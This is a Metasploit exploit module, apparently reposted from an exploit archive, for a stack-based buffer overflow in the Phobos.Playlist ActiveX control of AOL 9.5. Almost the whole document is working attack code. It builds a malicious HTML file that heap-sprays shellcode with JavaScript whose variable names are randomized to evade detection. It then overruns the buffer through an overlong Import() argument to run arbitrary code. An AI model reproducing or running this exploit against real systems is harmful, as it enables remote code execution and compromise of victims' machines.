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AOL 9.5 Phobos.Playlist 'Import()' Buffer Overflow Exploit (Meta)
[=================================================================
AOL 9.5 Phobos.Playlist 'Import()' Buffer Overflow Exploit (Meta)
=================================================================
##
# aol_phobos_bof.rb
#
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
#
# Phobos.dll version tested:
# File Version: 9.5.0.1
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
# RegKey Safe for Script: False
# RegKey Safe for Init: False
# Implements IObjectSafety: False
# KillBitSet: False
#
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
# exploitation is possible only from Local Machine Zone, which means the victim must run the
# generated exploit file locally.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
By setting an overly long value to 'Import()', an attacker can overrun a buffer
and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [
'Trancer <mtrancer[at]gmail.com>'
],
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://inj3ct0r.com/exploits/10144' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
],
'DisclosureDate' => 'Jan 20 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
], self.class)
end
def exploit
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 500
offset = target['Offset']
# Randomize the javascript variable names
phobos = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_bla = rand_text_alpha(rand(8) + 4)
html = %Q|<html>
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
</script>
</html>|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(html)
end
end
# 0day.today [2024-11-15] #